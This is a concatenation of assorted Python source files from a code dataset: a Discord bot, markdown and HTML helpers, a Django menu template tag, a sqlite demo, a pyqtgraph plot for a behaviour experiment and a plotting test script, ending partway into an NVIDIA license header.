8-Ball\")\n embed.set_thumbnail(url=\"https://raw.githubusercontent.com/xstecky/Keto-Bot/master/8ballgordo.png\")\n embed.add_field(name=\"Question:\", value=(m8b.replace(';m8b','')), inline=False)\n embed.add_field(name=\"Answer:\", value=(random.choice(messages)), inline=False)\n embed.set_footer(text=\"Asked by {}\".format(ctx.message.author.name))\n await ctx.send(embed=embed)\n print (f\"{ctx.message.author.name} used the magic 8-Ball in {ctx.guild.name}! ({ctx.message.content})\")\n\n@commands.check(self_check)\n@bot.command()\nasync def say(ctx, *, text):\n await ctx.send(text)\n print (f\"{ctx.message.author.name} used the say command in {ctx.guild.name}! ({ctx.message.content})\")\n\n@bot.command()\nasync def github(ctx):\n await ctx.send('https://github.com/xstecky/Keto-Bot')\n print (f\"{ctx.message.author.name} requested the GitHub URL in {ctx.guild.name}!\")\n\n@commands.check(self_check)\n@bot.command()\nasync def changegame(ctx, *, text):\n await bot.change_presence(activity=discord.Game(name=(text)))\n await ctx.send('done :zany_face:')\n print (f\"{ctx.message.author.name} changed Keto's status in {ctx.guild.name}! ({ctx.message.content})\")\n\n@commands.check(self_check)\n@bot.command()\nasync def debug(ctx):\n await ctx.send('fuck <@643943061893808148> :rage:')\n print (f\"{ctx.message.author.name} debugged in {ctx.guild.name}!\")\n\n@bot.command()\nasync def ketoquote(ctx):\n messages = quotes.keto\n embed=discord.Embed(title=\"\", description=random.choice(messages))\n embed.set_footer(text=\"Keto requested by {}\".format(ctx.message.author.name))\n await ctx.send(embed=embed)\n print (f\"{ctx.message.author.name} requested a Keto quote in {ctx.guild.name}!\")\n\n@bot.command()\nasync def humanquote(ctx):\n messages = quotes.human\n embed=discord.Embed(title=\"\", description=random.choice(messages))\n embed.set_footer(text=\"Human requested by {}\".format(ctx.message.author.name))\n await ctx.send(embed=embed)\n print (f\"{ctx.message.author.name} requested a Human quote in {ctx.guild.name}!\")\n\n@bot.command()\nasync def gaynasaquote(ctx):\n messages = quotes.gaynasa\n embed=discord.Embed(title=\"\", description=random.choice(messages))\n embed.set_footer(text=\"Gay Nasa requested by {}\".format(ctx.message.author.name))\n await ctx.send(embed=embed)\n print (f\"{ctx.message.author.name} requested a Gay Nasa quote in {ctx.guild.name}!\")\n\n@bot.command()\nasync def gordoquote(ctx):\n messages = quotes.gordo\n embed=discord.Embed(title=\"\", description=random.choice(messages))\n embed.set_footer(text=\"Gordo requested by {}\".format(ctx.message.author.name))\n await ctx.send(embed=embed)\n print (f\"{ctx.message.author.name} requested a Gordo quote in {ctx.guild.name}!\")\n\n@bot.command()\nasync def ramsquote(ctx):\n messages = quotes.rams\n embed=discord.Embed(title=\"\", description=random.choice(messages))\n embed.set_footer(text=\"Dieter Rams requested by {}\".format(ctx.message.author.name))\n await ctx.send(embed=embed)\n print (f\"{ctx.message.author.name} requested a Dieter Rams quote in {ctx.guild.name}!\")\n\n@bot.command()\n@cooldown(1, 16) # 1000 second cooldown\nasync def gordoalt(ctx):\n message = await ctx.send('SCANNING FOR GORDO ALTS...')\n await message.edit(content='SCANNING FOR GORDO ALTS...')\n await asyncio.sleep(2)\n await message.edit(content='10% [▰▱▱▱▱▱▱▱▱▱]')\n await asyncio.sleep(0.5)\n await message.edit(content='20% [▰▰▱▱▱▱▱▱▱▱]')\n await asyncio.sleep(0.5)\n await message.edit(content='30% [▰▰▰▱▱▱▱▱▱▱]')\n await asyncio.sleep(1)\n await message.edit(content='40% [▰▰▰▰▱▱▱▱▱▱]')\n await asyncio.sleep(2)\n await message.edit(content='50% [▰▰▰▰▰▱▱▱▱▱]')\n await asyncio.sleep(1)\n await message.edit(content='60% [▰▰▰▰▰▰▱▱▱▱]')\n await asyncio.sleep(0.5)\n await message.edit(content='70% [▰▰▰▰▰▰▰▱▱▱]')\n await asyncio.sleep(0.5)\n await message.edit(content='80% [▰▰▰▰▰▰▰▰▱▱]')\n await asyncio.sleep(1)\n await message.edit(content='90% [▰▰▰▰▰▰▰▰▰▱]')\n await asyncio.sleep(2)\n await message.edit(content='100% [▰▰▰▰▰▰▰▰▰▰]')\n await asyncio.sleep(2)\n defaultmembers = 0\n for member in ctx.guild.members:\n if member.avatar == None:\n defaultmembers += 1\n complete = [\"ATTENTION ALL ADMINS: GORDO ALT IN GENERAL!\"]\n if defaultmembers == 0:\n complete.append(f\"{len(ctx.guild.members)} MEMBERS SCANNED, NO GORDO ALTS FOUND\")\n elif defaultmembers == 1:\n complete.append(f\"{len(ctx.guild.members)} MEMBERS SCANNED, {defaultmembers} GORDO ALT FOUND\")\n else:\n complete.append(f\"{len(ctx.guild.members)} MEMBERS SCANNED, {defaultmembers} GORDO ALTS FOUND\")\n await message.edit(content=random.choice(complete))\n\nimport config\nbot.run(config.token, bot=True)\n","sub_path":"keto.py","file_name":"keto.py","file_ext":"py","file_size_in_byte":7471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"80774474","text":"\"\"\"\n east.helpers\n ============\n Various helper functions and data structures\n\n :copyright: (c) 2016 by Zvonimir Jurelinac\n :license: MIT\n\"\"\"\n\nimport mistune\n\nfrom collections import OrderedDict\nfrom datetime import date, datetime\n\nfrom pygments import highlight\nfrom pygments.lexers import get_lexer_by_name\nfrom pygments.formatters import html\n\n\n# Data serialization functions\n\ndef serialize(obj, *args):\n \"\"\"Serialize an object for future JSON encoding\"\"\"\n value = obj(*args) if callable(obj) else obj\n return value.isoformat() if isinstance(value, (date, datetime)) else value\n\n\ndef to_jsondict(obj, view=''):\n \"\"\"Convert Python object to JSON-encodable dictionary\"\"\"\n return obj.to_jsondict(view) if hasattr(obj, 'to_jsondict') else obj\n\n\ndef to_jsontype(type):\n \"\"\"Convert Python type names to Javascript/JSON equivalents\"\"\"\n typename = type.__name__ if type else None\n renames = {'str': 'string', 'int': 'integer', 'bool': 'bool'}\n if typename in renames:\n typename = renames[typename]\n return typename\n\n\n# Meta functions\n\ndef clear_json_quotes(json_data):\n \"\"\"Remove quotes surrounding types from JSON response documentation\"\"\"\n lines = []\n for line in json_data.splitlines():\n if ':' in line:\n key, value = line.split(':', maxsplit=1)\n value = value.strip()\n lines.append(key + ': ' + value.strip('\",') + (',' if value.endswith(',') else ''))\n else:\n lines.append(' ' * (len(line) - len(line.lstrip(' '))) + line.strip('\" '))\n return '\\n'.join(lines)\n\n\ndef get_class_plural_name(cls):\n \"\"\"Convert class name to it's plural form\"\"\"\n base = cls.__name__.lower()\n for ending in ('s', 'z', 'x', 'ch', 'sh'):\n if base.endswith(ending):\n return base + 'es'\n if base.endswith('y'):\n return base[:-1] + 'ies'\n else:\n return base + 's'\n\n\ndef parse_argdict(extras):\n \"\"\"Parse arguments dict - replace all functions by their return values\"\"\"\n return [(key, value() if callable(value) else value) for key, value in extras.items()]\n\n\n# Datastructures\n\n# class OrderedDefaultDict(OrderedDict, defaultdict):\n# def __init__(self, default_factory=None, *args, **kwargs):\n# super().__init__(*args, **kwargs)\n# self.default_factory = default_factory\n\n\nclass OrderedDefaultDict(OrderedDict):\n # Source: http://stackoverflow.com/a/6190500/562769\n def __init__(self, default_factory=None, *a, **kw):\n if (default_factory is not None and not callable(default_factory)):\n raise TypeError('first argument must be callable')\n super().__init__(*a, **kw)\n self.default_factory = default_factory\n\n def __getitem__(self, key):\n try:\n return super().__getitem__(key)\n except KeyError:\n return self.__missing__(key)\n\n def __missing__(self, key):\n if self.default_factory is None:\n raise KeyError(key)\n self[key] = value = self.default_factory()\n return value\n\n def __reduce__(self):\n if self.default_factory is None:\n args = tuple()\n else:\n args = self.default_factory,\n return type(self), args, None, None, self.items()\n\n def copy(self):\n return self.__copy__()\n\n def __copy__(self):\n return type(self)(self.default_factory, self)\n\n def __deepcopy__(self, memo):\n import copy\n return type(self)(self.default_factory,\n copy.deepcopy(self.items()))\n\n def __repr__(self):\n return 'OrderedDefaultDict(%s, %s)' % (self.default_factory,\n super().__repr__())\n\n\nclass EastMarkdownParser:\n \"\"\"\n Custom markdown parser\n\n Supports code highlighting via Pygments and Table of Contents generation\n \"\"\"\n\n def __init__(self):\n\n class EastRenderer(mistune.Renderer):\n\n def __init__(self, create_toc=False):\n self.create_toc = create_toc\n self.toc_list = []\n self.toc_count = -1\n super().__init__()\n\n def block_code(self, code, lang):\n if not lang:\n return '\\n
    %s
    \\n' % \\\n mistune.escape(code)\n lexer = get_lexer_by_name(lang, stripall=True)\n formatter = html.HtmlFormatter()\n return highlight(code, lexer, formatter)\n\n def header(self, text, level, raw=None):\n if self.create_toc and level == 2:\n self.toc_list.append(text)\n self.toc_count += 1\n return '%s\\n' % (level, self.toc_count, text, level)\n else:\n return '%s\\n' % (level, text, level)\n\n def reset_toc(self):\n self.toc_list = []\n self.toc_count = -1\n\n def toc(self):\n return '\\n'.join(['
  • %s
    • '\n % (i, h) for i, h in enumerate(self.toc_list)])\n\n self.renderer = EastRenderer()\n self.parser = mistune.Markdown(renderer=self.renderer)\n\n def render(self, raw, create_toc=False):\n self.renderer.create_toc = create_toc\n if create_toc:\n self.renderer.reset_toc()\n return self.parser(raw)\n","sub_path":"east/east/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":5452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"647772475","text":"# Author: Thomas Vu\r\n# Email: thomas.vu@ucalgary.ca\r\n# Feel free to send any questions about this problem to the email above\r\n# or ask in the CPC discord. (discord.gg/MEXwfze)\r\n\r\nn = int(input())\r\ntemperatures = [int(i) for i in input().split()]\r\ntempsBelowZero = 0\r\nfor temp in temperatures:\r\n if temp < 0:\r\n tempsBelowZero += 1\r\nprint(tempsBelowZero)\r\n\r\n\r\n# Short version:\r\n\r\n# input()\r\n# print(input().count(\"-\"))\r\n","sub_path":"solutions/cold.py","file_name":"cold.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"598586756","text":"from __future__ import print_function, unicode_literals\nimport os\nimport string\nimport markdown\nimport codecs\nfrom glob import glob\nfrom shutil import copyfile\nfrom general_tools.file_utils import write_file\nfrom converter import Converter\nfrom door43_tools.obs_handler import OBSInspection\nfrom door43_tools.obs_data import obs_data\n\n\nclass Md2HtmlConverter(Converter):\n\n def convert_obs(self):\n self.logger.info('Processing the OBS markdown files')\n\n # find the first directory that has md files.\n files = self.get_files()\n\n current_dir = os.path.dirname(os.path.realpath(__file__))\n with open(os.path.join(current_dir, 'templates', 'obs-template.html')) as template_file:\n html_template = string.Template(template_file.read())\n\n found_chapters = {}\n\n for filename in files:\n if filename.endswith('.md'):\n # Convert files that are markdown files\n with codecs.open(filename, 'r', 'utf-8-sig') as md_file:\n md = md_file.read()\n html = markdown.markdown(md)\n html = html_template.safe_substitute(content=html)\n base_name = os.path.splitext(os.path.basename(filename))[0]\n found_chapters[base_name] = True\n html_filename = base_name + \".html\"\n output_file = os.path.join(self.output_dir, html_filename)\n write_file(output_file, html)\n self.logger.info('Converted {0} to {1}.'.format(os.path.basename(filename), os.path.basename(html_filename)))\n\n # Do the OBS inspection (this now operates on a single file instead of folder)\n # QUESTION: Should this be done separately after conversion????\n inspector = OBSInspection(output_file, self.logger)\n try:\n inspector.run()\n except Exception as e:\n self.logger.warning('Chapter {0}: failed to run OBS inspector: {1}'.format(base_name, e.message))\n else:\n # Directly copy over files that are not markdown files\n try:\n output_file = os.path.join(self.output_dir, os.path.basename(filename))\n if not os.path.exists(output_file):\n copyfile(filename, output_file)\n except:\n pass\n\n for chapter in sorted(obs_data['chapters']): # verify all expected chapters are present\n found_chapter = found_chapters.get(chapter)\n if not found_chapter:\n self.logger.warning('Chapter {0} is missing!'.format(chapter))\n\n self.logger.info('Finished processing Markdown files.')\n","sub_path":"converters/md2html_converter.py","file_name":"md2html_converter.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"179896314","text":"import database\r\n\r\n# # add a record to the database\r\n# database.add_one(\"Pako\", \"Iliev\" , \"pako@pako.es\")\r\n\r\n\r\n\r\n# # delete record row id as string\r\n# database.delete_one('5')\r\n\r\n\r\n# add many records\r\nstuff = [\r\n ('Ceko', 'Sofinq', 'ceko@sifonq.bg'),\r\n ('Tigar', 'Pobesnel', 'tigar@besen.bg')\r\n ]\r\n \r\ndatabase.add_many(stuff)\r\n\r\n\r\n# show all the records\r\ndatabase.show_all()","sub_path":"our_app.py","file_name":"our_app.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"45379346","text":"import os\r\nimport re\r\n\r\nfrom django import template\r\nfrom django.conf import settings\r\nfrom django.utils.safestring import mark_safe\r\n\r\nregister = template.Library()\r\n\r\n\r\ndef get_structure_data(request):\r\n \"\"\"处理菜单结构\"\"\"\r\n menu = request.session[settings.SESSION_MENU_KEY]\r\n all_menu = menu[settings.ALL_MENU_KEY]\r\n permission_url = menu[settings.PERMISSION_MENU_KEY]\r\n\r\n # all_menu = [\r\n # {'id': 1, 'title': '订单管理', 'parent_id': None},\r\n # {'id': 2, 'title': '库存管理', 'parent_id': None},\r\n # {'id': 3, 'title': '生产管理', 'parent_id': None},\r\n # {'id': 4, 'title': '生产调查', 'parent_id': None}\r\n # ]\r\n\r\n # 定制数据结构\r\n all_menu_dict = {}\r\n for item in all_menu:\r\n item['status'] = False\r\n item['open'] = False\r\n item['children'] = []\r\n all_menu_dict[item['id']] = item\r\n\r\n # all_menu_dict = {\r\n # 1: {'id': 1, 'title': '订单管理', 'parent_id': None, 'status': False, 'open': False, 'children': []},\r\n # 2: {'id': 2, 'title': '库存管理', 'parent_id': None, 'status': False, 'open': False, 'children': []},\r\n # 3: {'id': 3, 'title': '生产管理', 'parent_id': None, 'status': False, 'open': False, 'children': []},\r\n # 4: {'id': 4, 'title': '生产调查', 'parent_id': None, 'status': False, 'open': False, 'children': []}\r\n # }\r\n\r\n # permission_url = [\r\n # {'title': '查看订单', 'url': '/order', 'menu_id': 1},\r\n # {'title': '查看库存清单', 'url': '/stock/detail', 'menu_id': 2},\r\n # {'title': '查看生产订单', 'url': '/produce/detail', 'menu_id': 3},\r\n # {'title': '产出管理', 'url': '/survey/produce', 'menu_id': 4},\r\n # {'title': '工时管理', 'url': '/survey/labor', 'menu_id': 4},\r\n # {'title': '入库', 'url': '/stock/in', 'menu_id': 2},\r\n # {'title': '排单', 'url': '/produce/new', 'menu_id': 3}\r\n # ]\r\n\r\n request_rul = request.path_info\r\n\r\n for url in permission_url:\r\n # 添加两个状态：显示 和 展开\r\n url['status'] = True\r\n pattern = url['url']\r\n\r\n if re.match(pattern, request_rul):\r\n url['open'] = True\r\n else:\r\n url['open'] = False\r\n\r\n # 将url添加到菜单下\r\n all_menu_dict[url['menu_id']][\"children\"].append(url)\r\n\r\n # 显示菜单：url 的菜单及上层菜单 status: true\r\n pid = url['menu_id']\r\n while pid:\r\n all_menu_dict[pid]['status'] = True\r\n pid = all_menu_dict[pid]['parent_id']\r\n\r\n # 展开url上层菜单：url['open'] = True, 其菜单及其父菜单open = True\r\n if url['open']:\r\n ppid = url['menu_id']\r\n while ppid:\r\n all_menu_dict[ppid]['open'] = True\r\n ppid = all_menu_dict[ppid]['parent_id']\r\n\r\n # 整理菜单层级结构：没有parent_id 的为根菜单， 并将有parent_id 的菜单项加入其父项的chidren内\r\n menu_data = []\r\n for i in all_menu_dict:\r\n if all_menu_dict[i]['parent_id']:\r\n pid = all_menu_dict[i]['parent_id']\r\n parent_menu = all_menu_dict[pid]\r\n parent_menu['children'].append(all_menu_dict[i])\r\n else:\r\n menu_data.append(all_menu_dict[i])\r\n\r\n return menu_data\r\n\r\n\r\ndef get_menu_html(menu_data):\r\n \"\"\"显示：菜单 + [子菜单] + 权限(url)\"\"\"\r\n # option_str = \"\"\"\r\n #
    \r\n #
    {menu_title}
    \r\n #
    {sub_menu}
    \r\n #
    \r\n # \"\"\"\r\n #\r\n # url_str = \"\"\"\r\n # {permission_title}\r\n # \"\"\"\r\n\r\n list_title_blank = ['库存导入'] # 需新窗口打开的title\r\n\r\n option_str = \"\"\"\r\n
  • \r\n \r\n \r\n {menu_title}\r\n \r\n \r\n\r\n
      \r\n {sub_menu} \r\n
    \r\n\t\t\t
    • \r\n \"\"\"\r\n\r\n url_str = \"\"\"\r\n
  • \r\n \r\n \r\n {permission_title}\r\n \r\n
    • \r\n \"\"\"\r\n\r\n url_str_blank = \"\"\"\r\n
  • \r\n \r\n \r\n {permission_title}\r\n \r\n
    • \r\n \"\"\"\r\n\r\n menu_html = ''\r\n for item in menu_data:\r\n if not item['status']: # 如果用户权限不在某个菜单下，即item['status']=False, 不显示\r\n continue\r\n else:\r\n if item.get('url'): # 说明循环到了菜单最里层的url\r\n if item['title'] in list_title_blank:\r\n menu_html += url_str_blank.format(permission_url=item['url'],\r\n permission_title=item['title'])\r\n else:\r\n menu_html += url_str.format(permission_url=item['url'],\r\n permission_title=item['title'])\r\n else:\r\n menu_html += option_str.format(menu_title=item['title'],\r\n sub_menu=get_menu_html(item['children']))\r\n\r\n return menu_html\r\n\r\n\r\n@register.simple_tag\r\ndef rbac_menu(request):\r\n \"\"\"\r\n 显示多级菜单：\r\n 请求过来 -- 拿到session中的菜单，权限数据 -- 处理数据 -- 作显示\r\n 数据处理部分抽象出来由单独的函数处理；渲染部分也抽象出来由单独函数处理\r\n \"\"\"\r\n menu_data = get_structure_data(request)\r\n menu_html = get_menu_html(menu_data)\r\n\r\n # 因为标签无法使用safe过滤器，这里用mark_safe函数来实现\r\n # print(menu_html)\r\n return mark_safe(menu_html)\r\n","sub_path":"rbac/templatetags/custom_tag.py","file_name":"custom_tag.py","file_ext":"py","file_size_in_byte":6321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"401609860","text":"# Choice Plot --------------------------------------------------------\nimport pyqtgraph as pg\nimport numpy as np\nfrom config.gui_settings import choice_history_len,choice_plot_window,choice_plot_look_ahead\nfrom PyQt5.QtCore import Qt\n\nclass Sequence_Plot():\n def __init__(self, parent_plot, data_len=100):\n self.plot_widget = parent_plot\n correct_color = pg.mkColor(0,255,0) # green\n correct_no_liquid_color = pg.mkColor(0,255,0,80) # faded green\n incorrect_color = pg.mkColor(0,0,0) # black\n background_color = pg.mkColor(255,255,0) # yellow\n background_no_liquid_color = pg.mkColor(255,255,0,128) # faded yellow\n faulty_color = pg.mkColor(255,0,0) # red\n self.my_colors = (correct_color, incorrect_color,background_color,faulty_color,correct_no_liquid_color,background_no_liquid_color)\n self.my_symbols = ('o','+','s','t') # circle, plus, square,triangle\n self.is_active = False\n self.do_update = True\n self.data_len = choice_history_len\n self.new_bout_line = pg.InfiniteLine(angle=90,pen='#FF1FE6')\n self.bout_text = pg.TextItem(\"testing\", anchor=(0, .5))\n self.faulty_line = None\n self.faulty_drawn_in_center = False\n self.bout_info_ylocation = 4\n\n def set_state_machine(self,sm_info):\n if not self.is_active: return\n self.setup_plot_widget()\n \n def setup_plot_widget(self):\n self.last_choice = ''\n self.reward_seq = ''\n self.label_new_bout = False\n self.next_seq = ''\n self.bout_start_trial = 0\n self.next_block_start = 0\n\n self.rewarded_trials = 0\n \n self.plot_widget.hideAxis('right')\n self.plot_widget.showAxis('left')\n self.plot_widget.setRange(xRange=[-1,choice_plot_window+choice_plot_look_ahead], padding=0)\n self.plot_widget.setMouseEnabled(x=True,y=False)\n self.plot_widget.showGrid(x=True,alpha=0.75)\n self.plot_widget.setLimits(xMin=-1)\n\n self.plot_widget.clear()\n self.plot_widget.getAxis('bottom').setLabel('Rat Perceived Trial')\n self.plot_widget.getAxis('right').setWidth(75)\n self.plot_widget.getAxis('left').setWidth(50)\n\n self.plot_widget.setYRange(4,9, padding=0.1)\n self.plot = self.plot_widget.plot(pen=None, symbol='o', symbolSize=6, symbolPen=None)\n\n self.plot_widget.setTitle('Choices and Outcomes')\n self.plot_widget.getAxis('left').setTicks([[(7,'Left'),(6,'Right')]])\n\n def run_start(self):\n if not self.is_active: return\n self.plot.clear()\n self.trial_num = 0\n self.data = np.zeros([self.data_len,6])\n self.plot_widget.addItem(self.bout_text)\n self.plot_widget.addItem(self.new_bout_line)\n\n def process_data(self, new_data):\n if not self.is_active: return\n '''Store new data from board.'''\n faulty_msgs = [nd for nd in new_data if nd[0] == 'P' and nd[2].split(',')[0]=='faulty'] \n outcome_msgs = [nd for nd in new_data if nd[0] == 'P' and nd[2].split(',')[0]=='rslt'] \n new_block_msgs = [nd for nd in new_data if nd[0] == 'P' and nd[2].split(',')[0]=='NB']\n newBlock_var_update_msgs = [nd for nd in new_data if nd[0] == 'V' and nd[2].split(' ')[0].find('trials_until_change')>-1] \n if outcome_msgs:\n n_new = len(outcome_msgs)\n self.data = np.roll(self.data, -n_new, axis=0)\n for i, ne in enumerate(outcome_msgs):\n trial_num_string,self.reward_seq,choice,outcome,reward_vol,center_hold,side_delay,faulty_chance,faulty_maxcount,faulty_time_limit = ne[-1].split(',')[1:]\n self.trial_num = int(trial_num_string)\n if choice == 'L':\n if self.last_choice == 'L':\n self.consecutive_adjustment += .2\n else:\n self.consecutive_adjustment = 0\n side = 7 + self.consecutive_adjustment\n elif choice == 'R':\n if self.last_choice == 'R':\n self.consecutive_adjustment += .2\n else:\n self.consecutive_adjustment = 0\n side = 6 - self.consecutive_adjustment\n else:\n side = 0\n self.last_choice = choice\n self.last_side = side\n\n if outcome == 'C': # was rewarded\n self.rewarded_trials += 1\n color = 0\n symbol = 2 #square\n elif outcome == 'W': # correct sequence, but rewared was withheld\n color = 4\n symbol = 2 #square\n elif outcome == 'N' or outcome == 'P': # was not rewarded\n color = 1\n symbol = 2 #square\n elif outcome == 'B': # background reward\n color = 2\n symbol = 2 #square\n elif outcome == 'A': # abandoned trial\n color = 1\n symbol = 3 #triangle\n elif outcome == 'F': # this \"rat percieved trial\" occured after a faulty nosepoke\n color = 3\n symbol = 0\n self.next_block_start +=1\n self.new_bout_line.setValue(self.next_block_start)\n self.bout_text.setPos(self.next_block_start, self.bout_info_ylocation)\n self.bout_text.setText(str(self.next_block_start - self.trial_num))\n \n self.data[-n_new+i,0] = self.trial_num\n self.data[-n_new+i,1] = side\n self.data[-n_new+i,2] = color\n self.data[-n_new+i,3] = symbol\n \n self.plot.setData(self.data[:,0],self.data[:,1],\n symbol=[self.my_symbols[int(ID)] for ID in self.data[:,3]],\n symbolSize=10,\n symbolPen=pg.mkPen(color=(150,150,150),width=1),\n symbolBrush=[self.my_colors[int(ID)] for ID in self.data[:,2]]\n )\n \n if self.faulty_drawn_in_center:\n self.faulty_drawn_in_center = False\n self.plot_widget.removeItem(self.faulty_line)\n self.faulty_line = pg.ErrorBarItem(x=np.array([self.trial_num - .5]),y=np.array([self.last_side]),height=.5,pen = pg.mkPen(color='#FF1F1F',width=3))\n self.plot_widget.addItem(self.faulty_line)\n\n\n self.update_title()\n if self.do_update:\n self.plot_widget.setRange(xRange=[self.trial_num-choice_plot_window,self.trial_num+choice_plot_look_ahead], padding=0)\n if faulty_msgs and not self.faulty_drawn_in_center:\n self.faulty_line = pg.ErrorBarItem(x=np.array([self.trial_num + .5]),y=np.array([6.5]),height=.5,pen = pg.mkPen(color='#FF1F1F',width=3))\n self.plot_widget.addItem(self.faulty_line)\n self.faulty_drawn_in_center = True\n if new_block_msgs:\n for nb_msg in new_block_msgs:\n # label old bout change\n transition_line = pg.InfiniteLine(angle=90,pen=pg.mkPen(color='#FF1FE6',style=Qt.DashLine))\n transition_line.setValue(self.next_block_start + .5)\n self.plot_widget.addItem(transition_line)\n self.label_new_bout = True\n\n\n content = nb_msg[2].split(',')\n # add new bout change\n self.next_block_start = int(content[2]) + self.trial_num\n self.next_seq = content[3]\n self.new_bout_line.setValue(self.next_block_start + .5)\n self.bout_text.setPos(self.next_block_start + .5, self.bout_info_ylocation)\n\n # update title\n self.reward_seq = content[1]\n self.update_title()\n \n if newBlock_var_update_msgs:\n for block_start_update in newBlock_var_update_msgs:\n content = block_start_update[2].split(' ')\n self.next_block_start = int(content[1]) + self.trial_num\n self.new_bout_line.setValue(self.next_block_start)\n self.bout_text.setPos(self.next_block_start, self.bout_info_ylocation)\n self.bout_text.setText(str(self.next_block_start - self.trial_num))\n if newBlock_var_update_msgs:\n self.update_title()\n\n def toggle_update(self):\n self.do_update = not self.do_update\n if self.do_update:\n self.plot_widget.setRange(xRange=[self.trial_num-choice_plot_window,self.trial_num+choice_plot_look_ahead], padding=0)\n\n def update_title(self):\n if self.trial_num:\n reward_percentage = round(self.rewarded_trials/self.trial_num*100,2)\n else:\n reward_percentage = 0\n self.plot_widget.setTitle('{} Rat Perceived Choices made --- {:.1f}% Perceived Trials Rewarded --- Current Reward Sequence:{}'.format(\n self.trial_num,reward_percentage,self.create_color_string(self.reward_seq)))\n self.bout_text.setHtml('{} in {} real trials'.format(self.create_color_string(self.next_seq),str(self.next_block_start - self.trial_num)))\n if self.label_new_bout:\n self.label_new_bout = False\n current_seq_text = pg.TextItem(html = self.create_color_string(self.reward_seq), anchor=(0, .5))\n current_seq_text.setPos(self.trial_num +.5, self.bout_info_ylocation)\n self.plot_widget.addItem(current_seq_text)\n\n if self.trial_num != 0: #don't do this for start of session\n previous_bout_length_text = pg.TextItem(str(self.trial_num - self.bout_start_trial), anchor=(1, .5))\n previous_bout_length_text.setPos(self.trial_num +.5, self.bout_info_ylocation)\n self.plot_widget.addItem(previous_bout_length_text)\n self.bout_start_trial = self.trial_num\n\n def update_block_marker(self,xpos):\n pass\n\n def create_color_string(self,sequence_string):\n blue,orange = '#00DEFF','#FF9A00'\n output_string = ''\n for letter in sequence_string:\n if letter == 'L':\n color = orange\n else:\n color = blue\n output_string += '{}'.format(color,letter)\n return output_string\n","sub_path":"gui/sequence_gui/choice_plot.py","file_name":"choice_plot.py","file_ext":"py","file_size_in_byte":10505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"464358846","text":"import taco_vis as tv\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\n\n########################\n# Create example dataset:\ndef flow_func(radius, theta, time):\n u = np.sin(2 * np.pi * radius) * np.sin(theta) * np.sin(2 * np.pi * time)\n return u\n\n\ntime = np.linspace(0, 1, 50)\nradius = np.linspace(0, 1, 10)\ntheta = np.linspace(0, 2 * np.pi, 50)\n\nTH, R, T = np.meshgrid(theta, radius, time)\ndata = flow_func(R, TH, T)\n\n# Read data into flow class\nf = tv.FLOW(data)\n\nassert np.min(f.data) < 0, 'Data has no negative values'\nassert np.max(f.data) > 0, 'Data has no positive values'\n\n\n# Test animate contour plot_contours\nf.colorbar_title = \"Non-dimensional\\nvelocity\"\nf.movie_filename = \"test_contour.mp4\"\nf.plot_contours(animate=True, save=True)\n# If plotting another image, close this animation figure first.\nplt.close(\"all\")\nassert os.path.isfile(f.movie_filename), 'File {} does not exist after saving'.format(f.movie_filename)\n\n\n# Test contour plot_contours\nf.colorbar_title = \"Non-dimensional\\nvelocity\"\nf.image_filename = \"test_contour.png\"\nf.plot_contours(save=True, time_idx=14)\n# If plotting another image, close this animation figure first.\nplt.close(\"all\")\nassert os.path.isfile(f.image_filename), 'File {} does not exist after saving'.format(f.movie_filename)\n\n\n#Create axisymmetric data\ndata_axisym = flow_func(R, np.pi/2, T)\n\nf_axisym = tv.FLOW(data_axisym)\n\nf_axisym.image_filename = \"test_cylinders.png\"\nf_axisym.colorbar_title = \"Non-dimensional\\nvelocity\"\nf_axisym.plot_cylinders(save=True, time_idx=14)\n# If plotting another image, close this animation figure first.\nplt.close(\"all\")\nassert os.path.isfile(f_axisym.image_filename), 'File {} does not exist after saving'.format(f_axisym.movie_filename)\n\n\nf_axisym.image_filename = \"test_cylinders_3D.png\"\nf_axisym.plot_cylinders_3D(save=True, time_idx=14)\n# If plotting another image, close this animation figure first.\nplt.close(\"all\")\nassert os.path.isfile(f_axisym.image_filename), 'File {} does not exist after saving'.format(f_axisym.movie_filename)\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"530846742","text":"def jump(A):\n if len(A) <= 1:\n return 0\n jumps = [-1]*(len(A)-1)\n jumps.append(0)\n lastPosition = len(A)-1\n for i in range(len(A)-2, -1, -1):\n if A[i] + i >= lastPosition:\n jumps[i] = min([1+jumps[j] for j in range(i+1, A[i]+i+1) if jumps[j] >= 0])\n lastPosition = i\n return jumps[0]\n\nprint(jump([1,2]))\n","sub_path":"week18/Jing/test_jump_2.py","file_name":"test_jump_2.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"479879602","text":"#!/usr/bin/env python\n# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of NVIDIA CORPORATION nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# 